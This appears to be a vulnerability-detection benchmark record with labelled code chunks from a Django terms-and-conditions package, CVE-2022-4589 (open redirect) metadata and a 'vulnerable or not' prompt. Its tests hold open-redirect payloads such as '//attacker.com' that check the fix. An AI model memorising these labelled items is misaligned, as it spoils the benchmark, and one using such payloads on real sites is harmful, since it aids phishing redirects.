HttpResponseRedirect)", " # Accept the terms and try again\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)\n response = user_accept_terms(\"backend\", self.user1, \"123\")\n self.assertIsInstance(response, dict)", " def test_get_active_terms_list(self):\n \"\"\"Test get list of active T&Cs\"\"\"\n active_list = TermsAndConditions.get_active_terms_list()\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_get_active_terms_not_agreed_to(self):\n \"\"\"Test get T&Cs not agreed to\"\"\"\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.user1)\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_user_is_excluded(self):\n \"\"\"Test user3 has perm which excludes them from having to accept T&Cs\"\"\"\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.user3)\n self.assertEqual([], active_list)", " def test_superuser_is_not_implicitly_excluded(self):\n \"\"\"Test su should have to accept T&Cs even if they are superuser but don't explicitly have the skip perm\"\"\"\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.su)\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_superuser_cannot_skip(self):\n \"\"\"Test su still has to accept even if they are explicitly given the skip perm\"\"\"\n self.su.user_permissions.add(self.skip_perm)\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.su)\n self.assertEqual(2, len(active_list))\n self.assertQuerysetEqual(active_list, [repr(self.terms3), repr(self.terms2)])", " def test_superuser_excluded(self):\n \"\"\"Test su doesn't have to accept with TERMS_EXCLUDE_SUPERUSERS set\"\"\"\n with self.settings(TERMS_EXCLUDE_SUPERUSERS=True):\n active_list = TermsAndConditions.get_active_terms_not_agreed_to(self.su)\n self.assertEqual([], active_list)", " def test_get_active_terms_ids(self):\n \"\"\"Test get ids of active T&Cs\"\"\"\n active_list = TermsAndConditions.get_active_terms_ids()\n self.assertEqual(2, len(active_list))\n self.assertEqual(active_list, [3, 2])", " def test_terms_and_conditions_models(self):\n \"\"\"Various tests of the TermsAndConditions Module\"\"\"", " # Testing Direct Assignment of Acceptance\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms1)\n UserTermsAndConditions.objects.create(user=self.user2, terms=self.terms3)", " self.assertEquals(1.0, self.user1.userterms.get().terms.version_number)\n self.assertEquals(1.5, self.user2.userterms.get().terms.version_number)", " self.assertEquals(\"user1\", self.terms1.users.all()[0].get_username())", " # Testing the get_active static method of TermsAndConditions\n self.assertEquals(\n 2.0, TermsAndConditions.get_active(slug=\"site-terms\").version_number\n )\n self.assertEquals(\n 1.5, TermsAndConditions.get_active(slug=\"contrib-terms\").version_number\n )", " # Testing the unicode method of TermsAndConditions\n self.assertEquals(\n \"site-terms-2.00\", str(TermsAndConditions.get_active(slug=\"site-terms\"))\n )\n self.assertEquals(\n \"contrib-terms-1.50\",\n str(TermsAndConditions.get_active(slug=\"contrib-terms\")),\n )", " def test_middleware_redirect(self):\n \"\"\"Validate that a user is redirected to the terms accept page if they are logged in, and decorator is on method\"\"\"", " UserTermsAndConditions.objects.all().delete()", " LOGGER.debug(\"Test user1 login for middleware\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /secure/ after login\")\n logged_in_response = self.client.get(\"/secure/\", follow=True)\n self.assertRedirects(\n logged_in_response, \"/terms/accept/contrib-terms/?returnTo=/secure/\"\n )", " def test_terms_required_redirect(self):\n \"\"\"Validate that a user is redirected to the terms accept page if logged in, and decorator is on method\"\"\"", " LOGGER.debug(\"Test /termsrequired/ pre login\")\n not_logged_in_response = self.client.get(\"/termsrequired/\", follow=True)\n self.assertRedirects(\n not_logged_in_response, \"/accounts/login/?next=/termsrequired/\"\n )", " LOGGER.debug(\"Test user1 login\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /termsrequired/ after login\")\n logged_in_response = self.client.get(\"/termsrequired/\", follow=True)\n self.assertRedirects(\n logged_in_response, \"/terms/accept/?returnTo=/termsrequired/\"\n )", " LOGGER.debug(\"Test no redirect for /termsrequired/ after accept\")\n accepted_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/termsrequired/\"}, follow=True\n )\n self.assertContains(accepted_response, \"Please Accept\")", " LOGGER.debug(\"Test response after termsrequired accept\")\n terms_required_response = self.client.get(\"/termsrequired/\", follow=True)\n self.assertContains(terms_required_response, \"Please Accept\")", " def test_accept(self):\n \"\"\"Validate that accepting terms works\"\"\"", " LOGGER.debug(\"Test user1 login for accept\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /terms/accept/ get\")\n accept_response = self.client.get(\"/terms/accept/\", follow=True)\n self.assertContains(accept_response, \"Accept\")", " LOGGER.debug(\"Test /terms/accept/ post\")\n chained_terms_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/secure/\"}, follow=True\n )\n self.assertContains(chained_terms_response, \"Contributor\")", " LOGGER.debug(\"Test /terms/accept/contrib-terms/1.5/ post\")\n accept_version_response = self.client.get(\n \"/terms/accept/contrib-terms/1.5/\", follow=True\n )\n self.assertContains(\n accept_version_response, \"Contributor Terms and Conditions 1.5\"\n )", " LOGGER.debug(\"Test /terms/accept/contrib-terms/3/ post\")\n accept_version_post_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 3, \"returnTo\": \"/secure/\"}, follow=True\n )\n self.assertContains(accept_version_post_response, \"Secure\")\n", " def _post_accept(self, return_to):", " # Pre-accept terms 2 and 3\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)", " LOGGER.debug(\"Test user1 login for test_accept_redirect\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test /terms/accept/site-terms/1/ post\")\n accept_response = self.client.post(", " \"/terms/accept/\", {\"terms\": 1, \"returnTo\": return_to}, follow=True\n )\n return accept_response", " def test_accept_redirect_safe(self):\n accept_response = self._post_accept(\"/secure/\")", " self.assertRedirects(accept_response, \"/secure/\")", " def test_accept_redirect_unsafe(self):", " accept_response = self._post_accept(\"http://attacker/\")\n self.assertRedirects(accept_response, \"/\")", " def test_accept_redirect_unsafe_2(self):\n accept_response = self._post_accept(\"//attacker.com\")\n self.assertRedirects(accept_response, \"/\")", " def test_accept_redirect_unsafe_3(self):\n accept_response = self._post_accept(\"///attacker.com\")\n self.assertRedirects(accept_response, \"/\")", " def test_accept_redirect_unsafe_4(self):\n accept_response = self._post_accept(\"////attacker.com\")", " self.assertRedirects(accept_response, \"/\")", " def test_accept_store_ip_address(self):\n \"\"\"Test with IP address storage setting true (default)\"\"\"\n self.client.login(username=\"user1\", password=\"user1password\")\n self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/secure/\"}, follow=True\n )\n user_terms = UserTermsAndConditions.objects.all()[0]\n self.assertEqual(user_terms.user, self.user1)\n self.assertEqual(user_terms.terms, self.terms2)\n self.assertTrue(user_terms.ip_address)", " def test_accept_store_ip_address_multiple(self):\n \"\"\"Test storing IP address when it is a list\"\"\"\n self.client.login(username=\"user1\", password=\"user1password\")\n self.client.post(\n \"/terms/accept/\",\n {\"terms\": 2, \"returnTo\": \"/secure/\"},\n follow=True,\n REMOTE_ADDR=\"0.0.0.0, 1.1.1.1\",\n )\n user_terms = UserTermsAndConditions.objects.all()[0]\n self.assertEqual(user_terms.user, self.user1)\n self.assertEqual(user_terms.terms, self.terms2)\n self.assertTrue(user_terms.ip_address)", " def test_accept_no_ip_address(self):\n \"\"\"Test with IP address storage setting false\"\"\"\n self.client.login(username=\"user1\", password=\"user1password\")\n with self.settings(TERMS_STORE_IP_ADDRESS=False):\n self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/secure/\"}, follow=True\n )\n user_terms = UserTermsAndConditions.objects.all()[0]\n self.assertFalse(user_terms.ip_address)", " def test_terms_upgrade(self):\n \"\"\"Validate a user is prompted to accept terms again when new version comes out\"\"\"", " UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)", " LOGGER.debug(\"Test user1 login pre upgrade\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test user1 not redirected after login\")\n logged_in_response = self.client.get(\"/secure/\", follow=True)\n self.assertContains(logged_in_response, \"Contributor\")", " # First, Accept Contributor Terms\n LOGGER.debug(\"Test /terms/accept/contrib-terms/3/ post\")\n self.client.post(\n \"/terms/accept/\", {\"terms\": 3, \"returnTo\": \"/secure/\"}, follow=True\n )", " LOGGER.debug(\"Test upgrade terms\")\n self.terms5 = TermsAndConditions.objects.create(\n id=5,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Terms and Conditions2\",\n version_number=2.5,\n date_active=\"2012-02-05\",\n )", " LOGGER.debug(\"Test user1 is redirected when changing pages\")\n post_upgrade_response = self.client.get(\"/secure/\", follow=True)\n self.assertRedirects(\n post_upgrade_response, \"/terms/accept/site-terms/?returnTo=/secure/\"\n )", " def test_no_middleware(self):\n \"\"\"Test a secure page with the middleware excepting it\"\"\"", " UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms2)", " LOGGER.debug(\"Test user1 login no middleware\")\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " LOGGER.debug(\"Test user1 not redirected after login\")\n logged_in_response = self.client.get(\"/securetoo/\", follow=True)\n self.assertContains(logged_in_response, \"SECOND\")", " LOGGER.debug(\"Test startswith '/admin' pages not redirecting\")\n admin_response = self.client.get(\"/admin\", follow=True)\n self.assertContains(admin_response, \"administration\")", " def test_anonymous_terms_view(self):\n \"\"\"Test Accessing the View Terms and Conditions for Anonymous User\"\"\"\n active_terms = TermsAndConditions.get_active_terms_list()", " LOGGER.debug(\"Test /terms/ with anon\")\n root_response = self.client.get(\"/terms/\", follow=True)\n for terms in active_terms:\n self.assertContains(root_response, terms.name)\n self.assertContains(root_response, terms.text)\n self.assertContains(root_response, \"Terms and Conditions\")", " LOGGER.debug(\"Test /terms/view/site-terms with anon\")\n slug_response = self.client.get(self.terms2.get_absolute_url(), follow=True)\n self.assertContains(slug_response, self.terms2.name)\n self.assertContains(slug_response, self.terms2.text)\n self.assertContains(slug_response, \"Terms and Conditions\")", " LOGGER.debug(\"Test /terms/view/contributor-terms/1.5 with anon\")\n version_response = self.client.get(self.terms3.get_absolute_url(), follow=True)\n self.assertContains(version_response, self.terms3.name)\n self.assertContains(version_response, self.terms3.text)", " def test_user_terms_view(self):\n \"\"\"Test Accessing the View Terms and Conditions Page for Logged In User\"\"\"\n login_response = self.client.login(username=\"user1\", password=\"user1password\")\n self.assertTrue(login_response)", " user1_not_agreed_terms = TermsAndConditions.get_active_terms_not_agreed_to(\n self.user1\n )\n self.assertEqual(len(user1_not_agreed_terms), 2)", " LOGGER.debug(\"Test /terms/ with user1\")\n root_response = self.client.get(\"/terms/\", follow=True)\n for terms in user1_not_agreed_terms:\n self.assertContains(root_response, terms.text)\n self.assertContains(root_response, \"Terms and Conditions\")\n self.assertContains(root_response, \"Sign Out\")", " # Accept terms and check again\n UserTermsAndConditions.objects.create(user=self.user1, terms=self.terms3)\n user1_not_agreed_terms = TermsAndConditions.get_active_terms_not_agreed_to(\n self.user1\n )\n self.assertEqual(len(user1_not_agreed_terms), 1)\n LOGGER.debug(\"Test /terms/ with user1 after accept\")\n post_accept_response = self.client.get(\"/terms/\", follow=True)\n for terms in user1_not_agreed_terms:\n self.assertContains(post_accept_response, terms.text)\n self.assertNotContains(post_accept_response, self.terms3.name)\n self.assertContains(post_accept_response, \"Terms and Conditions\")\n self.assertContains(post_accept_response, \"Sign Out\")", " # Check by slug and version while logged in\n LOGGER.debug(\"Test /terms/view/site-terms as user1\")\n slug_response = self.client.get(self.terms2.get_absolute_url(), follow=True)\n self.assertContains(slug_response, self.terms2.name)\n self.assertContains(slug_response, self.terms2.text)\n self.assertContains(slug_response, \"Terms and Conditions\")\n self.assertContains(slug_response, \"Sign Out\")", " LOGGER.debug(\"Test /terms/view/site-terms/1.5 as user1\")\n version_response = self.client.get(self.terms3.get_absolute_url(), follow=True)\n self.assertContains(version_response, self.terms3.name)\n self.assertContains(version_response, self.terms3.text)\n self.assertContains(version_response, \"Terms and Conditions\")\n self.assertContains(slug_response, \"Sign Out\")", " def test_user_pipeline(self):\n \"\"\"Test the case of a user being partially created via the django-socialauth pipeline\"\"\"", " LOGGER.debug(\"Test /terms/accept/ post for no user\")\n no_user_response = self.client.post(\"/terms/accept/\", {\"terms\": 2}, follow=True)\n self.assertContains(no_user_response, \"Home\")", " user = {\"pk\": self.user1.id}\n kwa = {\"user\": user}\n partial_pipeline = {\"kwargs\": kwa}", " engine = import_module(settings.SESSION_ENGINE)\n store = engine.SessionStore()\n store.save()\n self.client.cookies[settings.SESSION_COOKIE_NAME] = store.session_key", " session = self.client.session\n session[\"partial_pipeline\"] = partial_pipeline\n session.save()", " self.assertTrue(\"partial_pipeline\" in self.client.session)", " LOGGER.debug(\"Test /terms/accept/ post for pipeline user\")\n pipeline_response = self.client.post(\n \"/terms/accept/\", {\"terms\": 2, \"returnTo\": \"/anon\"}, follow=True\n )\n self.assertContains(pipeline_response, \"Anon\")", " def test_email_terms(self):\n \"\"\"Test emailing terms and conditions\"\"\"\n LOGGER.debug(\"Test /terms/email/\")\n email_form_response = self.client.get(\"/terms/email/\", follow=True)\n self.assertContains(email_form_response, \"Email\")", " LOGGER.debug(\"Test /terms/email/ post, expecting email fail\")\n email_send_response = self.client.post(\n \"/terms/email/\",\n {\n \"email_address\": \"foo@foo.com\",\n \"email_subject\": \"Terms Email\",\n \"terms\": 2,\n \"returnTo\": \"/\",\n },\n follow=True,\n )\n self.assertEqual(\n len(mail.outbox), 1\n ) # Check that there is one email in the test outbox\n self.assertContains(email_send_response, \"Sent\")", " LOGGER.debug(\"Test /terms/email/ post, expecting email fail\")\n email_fail_response = self.client.post(\n \"/terms/email/\",\n {\n \"email_address\": \"INVALID EMAIL ADDRESS\",\n \"email_subject\": \"Terms Email\",\n \"terms\": 2,\n \"returnTo\": \"/\",\n },\n follow=True,\n )\n self.assertContains(email_fail_response, \"Invalid\")", "\nclass TermsAndConditionsTemplateTagsTestCase(TestCase):\n \"\"\"Tests Tags for T&C\"\"\"", " def setUp(self):\n \"\"\"Setup for each test\"\"\"\n self.user1 = User.objects.create_user(\n \"user1\", \"user1@user1.com\", \"user1password\"\n )\n self.template_string_1 = (\n \"{% load terms_tags %}\" \"{% show_terms_if_not_agreed %}\"\n )\n self.template_string_2 = (\n \"{% load terms_tags %}\"\n '{% show_terms_if_not_agreed slug=\"specific-terms\" %}'\n )\n self.template_string_3 = (\n \"{% load terms_tags %}\" \"{% include terms.text|as_template %}\"\n )\n self.terms1 = TermsAndConditions.objects.create(\n id=1,\n slug=\"site-terms\",\n name=\"Site Terms\",\n text=\"Site Terms and Conditions 1\",\n version_number=1.0,\n date_active=\"2012-01-01\",\n )\n cache.clear()", " def _make_context(self, url):\n \"\"\"Build Up Context - Used in many tests\"\"\"\n context = dict()\n context[\"request\"] = RequestFactory()\n context[\"request\"].user = self.user1\n context[\"request\"].META = {\"PATH_INFO\": url}\n return context", " def render_template(self, string, context=None):\n \"\"\"a helper method to render simplistic test templates\"\"\"\n request = RequestFactory().get(\"/test\")\n request.user = self.user1\n request.context = context or {}\n return Template(string).render(Context({\"request\": request}))", " def test_show_terms_if_not_agreed(self):\n \"\"\"test if show_terms_if_not_agreed template tag renders html code\"\"\"\n LOGGER.debug(\"Test template tag not showing terms if not agreed to\")\n rendered = self.render_template(self.template_string_1)\n terms = TermsAndConditions.get_active()\n self.assertIn(terms.slug, rendered)", " def test_not_show_terms_if_agreed(self):\n \"\"\"test if show_terms_if_not_agreed template tag does not load if user agreed terms\"\"\"\n LOGGER.debug(\"Test template tag not showing terms once agreed to\")\n terms = TermsAndConditions.get_active()\n UserTermsAndConditions.objects.create(terms=terms, user=self.user1)\n rendered = self.render_template(self.template_string_1)\n self.assertNotIn(terms.slug, rendered)", " def test_show_terms_if_not_agreed_on_protected_url_not_agreed(self):\n \"\"\"Check terms on protected url if not agreed\"\"\"\n context = self._make_context(\"/test\")\n result = show_terms_if_not_agreed(context)\n terms = TermsAndConditions.get_active(slug=DEFAULT_TERMS_SLUG)\n self.assertEqual(result.get(\"not_agreed_terms\")[0], terms)", " def test_show_terms_if_not_agreed_on_unprotected_url_not_agreed(self):\n \"\"\"Check terms on unprotected url if not agreed\"\"\"\n context = self._make_context(\"/\")\n result = show_terms_if_not_agreed(context)\n self.assertDictEqual(result, {\"not_agreed_terms\": False})", " def test_as_template(self):\n \"\"\"Test as_template template tag\"\"\"\n terms = TermsAndConditions.get_active()\n rendered = Template(self.template_string_3).render(Context({\"terms\": terms}))\n self.assertIn(terms.text, rendered)" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [269, 183], "buggy_code_start_loc": [245, 16], "filenames": ["termsandconditions/tests.py", "termsandconditions/views.py"], "fixing_code_end_loc": [278, 201], "fixing_code_start_loc": [245, 17], "message": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:django_terms_and_conditions_project:django_terms_and_conditions:*:*:*:*:*:*:*:*", "matchCriteriaId": "F2C43DF4-BBD4-4D53-9F33-3F078DDD6C04", "versionEndExcluding": "2.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175."}], "evaluatorComment": null, "id": "CVE-2022-4589", "lastModified": "2023-01-06T13:52:10.523", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.1, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-12-17T13:15:09.883", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/pull/239"}, {"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/cyface/django-termsandconditions/releases/tag/v2.0.10"}, {"source": "cna@vuldb.com", "tags": ["Permissions Required", "Third Party Advisory"], "url": "https://vuldb.com/?id.216175"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-601"}], "source": "cna@vuldb.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/cyface/django-termsandconditions/commit/03396a1c2e0af95e12a45c5faef7e47a4b513e1a"}, "type": "CWE-601"}
135
Determine whether the {function_name} code is vulnerable or not.
[ "\"\"\"Django Views for the termsandconditions module\"\"\"\nfrom urllib.parse import urlparse", "# pylint: disable=E1120,R0901,R0904\nfrom django.contrib.auth.models import User\nfrom django.db import IntegrityError", "from .forms import UserTermsAndConditionsModelForm, EmailTermsForm\nfrom .models import TermsAndConditions, UserTermsAndConditions\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.contrib import messages\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.utils.translation import gettext as _\nfrom django.views.generic import DetailView, CreateView, FormView\nfrom django.template.loader import get_template", "", "import logging\nfrom smtplib import SMTPException", "LOGGER = logging.getLogger(name=\"termsandconditions\")\nDEFAULT_TERMS_BASE_TEMPLATE = \"base.html\"\nDEFAULT_TERMS_IP_HEADER_NAME = \"REMOTE_ADDR\"", "\nclass GetTermsViewMixin(object):\n \"\"\"Checks URL parameters for slug and/or version to pull the right TermsAndConditions object\"\"\"", " def get_terms(self, kwargs):\n \"\"\"Checks URL parameters for slug and/or version to pull the right TermsAndConditions object\"\"\"", " slug = kwargs.get(\"slug\")\n version = kwargs.get(\"version\")", " if slug and version:\n terms = [\n TermsAndConditions.objects.filter(\n slug=slug, version_number=version\n ).latest(\"date_active\")\n ]\n elif slug:\n terms = [TermsAndConditions.get_active(slug)]\n else:\n # Return a list of not agreed to terms for the current user for the list view\n terms = TermsAndConditions.get_active_terms_not_agreed_to(self.request.user)\n return terms\n", "", "\nclass AcceptTermsView(CreateView, GetTermsViewMixin):\n \"\"\"\n Terms and Conditions Acceptance view", " url: /terms/accept\n \"\"\"", " model = UserTermsAndConditions\n form_class = UserTermsAndConditionsModelForm\n template_name = \"termsandconditions/tc_accept_terms.html\"", " def get_context_data(self, **kwargs):\n \"\"\"Pass additional context data\"\"\"\n context = super().get_context_data(**kwargs)\n context[\"terms_base_template\"] = getattr(\n settings, \"TERMS_BASE_TEMPLATE\", DEFAULT_TERMS_BASE_TEMPLATE\n )\n return context", " def get_initial(self):\n \"\"\"Override of CreateView method, queries for which T&C to accept and catches returnTo from URL\"\"\"\n LOGGER.debug(\"termsandconditions.views.AcceptTermsView.get_initial\")", " terms = self.get_terms(self.kwargs)", " return_to = self.request.GET.get(\"returnTo\", \"/\")", "\n return {\"terms\": terms, \"returnTo\": return_to}", " def post(self, request, *args, **kwargs):\n \"\"\"\n Handles POST request.\n \"\"\"", " return_url = request.POST.get(\"returnTo\", \"/\")", " terms_ids = request.POST.getlist(\"terms\")", "\n parsed = urlparse(return_url)\n if parsed.hostname and parsed.hostname not in settings.ALLOWED_HOSTS:\n # Make sure the return url is a relative path or a trusted hostname\n return_url = '/'", "\n if not terms_ids: # pragma: nocover\n return HttpResponseRedirect(return_url)", " if request.user.is_authenticated:\n user = request.user\n else:\n # Get user out of saved pipeline from django-socialauth\n if \"partial_pipeline\" in request.session:\n user_pk = request.session[\"partial_pipeline\"][\"kwargs\"][\"user\"][\"pk\"]\n user = User.objects.get(id=user_pk)\n else:\n return HttpResponseRedirect(\"/\")", " store_ip_address = getattr(settings, \"TERMS_STORE_IP_ADDRESS\", True)\n if store_ip_address:\n ip_address = request.META.get(\n getattr(settings, \"TERMS_IP_HEADER_NAME\", DEFAULT_TERMS_IP_HEADER_NAME)\n )\n if \",\" in ip_address:\n ip_address = ip_address.split(\",\")[0].strip()\n else:\n ip_address = \"\"", " for terms_id in terms_ids:\n try:\n new_user_terms = UserTermsAndConditions(\n user=user,\n terms=TermsAndConditions.objects.get(pk=int(terms_id)),\n ip_address=ip_address,\n )\n new_user_terms.save()\n except IntegrityError: # pragma: nocover\n pass", " return HttpResponseRedirect(return_url)", "\nclass EmailTermsView(FormView, GetTermsViewMixin):\n \"\"\"\n Email Terms and Conditions View", " url: /terms/email\n \"\"\"", " template_name = \"termsandconditions/tc_email_terms_form.html\"", " form_class = EmailTermsForm", " def get_context_data(self, **kwargs):\n \"\"\"Pass additional context data\"\"\"\n context = super().get_context_data(**kwargs)\n context[\"terms_base_template\"] = getattr(\n settings, \"TERMS_BASE_TEMPLATE\", DEFAULT_TERMS_BASE_TEMPLATE\n )\n return context", " def get_initial(self):\n \"\"\"Override of CreateView method, queries for which T&C send, catches returnTo from URL\"\"\"\n LOGGER.debug(\"termsandconditions.views.EmailTermsView.get_initial\")", " terms = self.get_terms(self.kwargs)\n", " return_to = self.request.GET.get(\"returnTo\", \"/\")", "\n return {\"terms\": terms, \"returnTo\": return_to}", " def form_valid(self, form):\n \"\"\"Override of CreateView method, sends the email.\"\"\"\n LOGGER.debug(\"termsandconditions.views.EmailTermsView.form_valid\")", " template = get_template(\"termsandconditions/tc_email_terms.html\")\n template_rendered = template.render({\"terms\": form.cleaned_data.get(\"terms\")})", " LOGGER.debug(\"Email Terms Body:\")\n LOGGER.debug(template_rendered)", " try:\n send_mail(\n form.cleaned_data.get(\"email_subject\", _(\"Terms\")),\n template_rendered,\n settings.DEFAULT_FROM_EMAIL,\n [form.cleaned_data.get(\"email_address\")],\n fail_silently=False,\n )\n messages.add_message(\n self.request, messages.INFO, _(\"Terms and Conditions Sent.\")\n )\n except SMTPException: # pragma: no cover\n messages.add_message(\n self.request,\n messages.ERROR,\n _(\"An Error Occurred Sending Your Message.\"),\n )\n", " self.success_url = form.cleaned_data.get(\"returnTo\", \"/\") or \"/\"", "\n return super().form_valid(form)", " def form_invalid(self, form):\n \"\"\"Override of CreateView method, logs invalid email form submissions.\"\"\"\n LOGGER.debug(\"Invalid Email Form Submitted\")\n messages.add_message(self.request, messages.ERROR, _(\"Invalid Email Address.\"))\n return super().form_invalid(form)", "\nclass TermsView(DetailView, GetTermsViewMixin):\n \"\"\"\n View Unaccepted Terms and Conditions View", " url: /terms/\n \"\"\"", " template_name = \"termsandconditions/tc_view_terms.html\"\n context_object_name = \"terms_list\"", " def get_context_data(self, **kwargs):\n \"\"\"Pass additional context data\"\"\"\n context = super().get_context_data(**kwargs)\n context[\"terms_base_template\"] = getattr(\n settings, \"TERMS_BASE_TEMPLATE\", DEFAULT_TERMS_BASE_TEMPLATE\n )\n return context", " def get_object(self, queryset=None):\n \"\"\"Override of DetailView method, queries for which T&C to return\"\"\"\n LOGGER.debug(\"termsandconditions.views.TermsView.get_object\")\n return self.get_terms(self.kwargs)", "\nclass TermsActiveView(TermsView):\n \"\"\"\n View Active Terms and Conditions View", " url: /terms/active/\n \"\"\"", " def get_object(self, queryset=None):\n \"\"\"Override of DetailView method, queries for which T&C to return\"\"\"\n LOGGER.debug(\"termsandconditions.views.AllTermsView.get_object\")\n return TermsAndConditions.get_active_terms_list()" ]
[ 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [269, 183], "buggy_code_start_loc": [245, 16], "filenames": ["termsandconditions/tests.py", "termsandconditions/views.py"], "fixing_code_end_loc": [278, 201], "fixing_code_start_loc": [245, 17], "message": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by this vulnerability is the function returnTo of the file termsandconditions/views.py. The manipulation leads to open redirect. The attack can be launched remotely. Upgrading to version 2.0.10 is able to address this issue. The name of the patch is 03396a1c2e0af95e12a45c5faef7e47a4b513e1a. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216175.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:django_terms_and_conditions_project:django_terms_and_conditions:*:*:*:*:*:*:*:*", "matchCriteriaId": "F2C43DF4-BBD4-4D53-9F33-3F078DDD6C04", "versionEndExcluding": "2.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in cyface Terms and Conditions Module up to 2.0.9 and classified as problematic. Affected by 